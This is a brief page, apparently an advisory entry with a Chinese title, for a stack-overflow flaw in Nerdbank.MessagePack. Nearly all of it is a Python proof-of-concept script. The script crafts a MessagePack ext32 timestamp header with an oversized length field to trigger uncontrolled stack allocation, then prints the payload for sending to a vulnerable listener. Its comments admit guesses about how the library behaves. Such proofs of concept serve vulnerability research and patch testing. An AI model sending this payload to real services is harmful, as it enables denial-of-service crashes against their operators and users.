CVE-2026-44375 Nerdbank.MessagePack栈溢出漏洞

import struct # PoC for CVE-2026-44375 # This script generates a malicious MessagePack payload to trigger the stack overflow. # Vulnerability: Uncontrolled stack allocation in DateTime decoding. def generate_exploit_payload(): # MessagePack timestamp extension type is -1 (0xFF) # We need to craft a header that tells the decoder to allocate a huge size. # Format spec for fixext8/ext8/ext16/ext32 usually defines size. # Assuming the library reads a length byte/short/int and allocates it blindly. # Example: Using ext8 format (0xC7) with max length 255, or ext32 (0xC9) for huge size. # Let's try to construct an ext32 header with a large length (e.g., 0xFFFFFFFF or large enough to crash). ext_type = 0xFF # Timestamp type malicious_length = 0x00FFFFFF # Large length (approx 16MB, enough to blow stack) # Format: 0xC9 (ext32), Length (4 bytes big-endian), Type (1 byte), Data (Length bytes) header = struct.pack('>BIB', 0xC9, malicious_length, ext_type) # The actual data content doesn't matter much, just the header triggers the allocation. # We pad it to avoid read errors if the library checks existence of data, # but usually the allocation happens before the read or immediately after. payload = header + b'A' * 100 return payload if __name__ == "__main__": payload = generate_exploit_payload() print(f"Generated malicious payload (length: {len(payload)}): {payload.hex()}") print("Send this payload to a vulnerable Nerdbank.MessagePack listener.")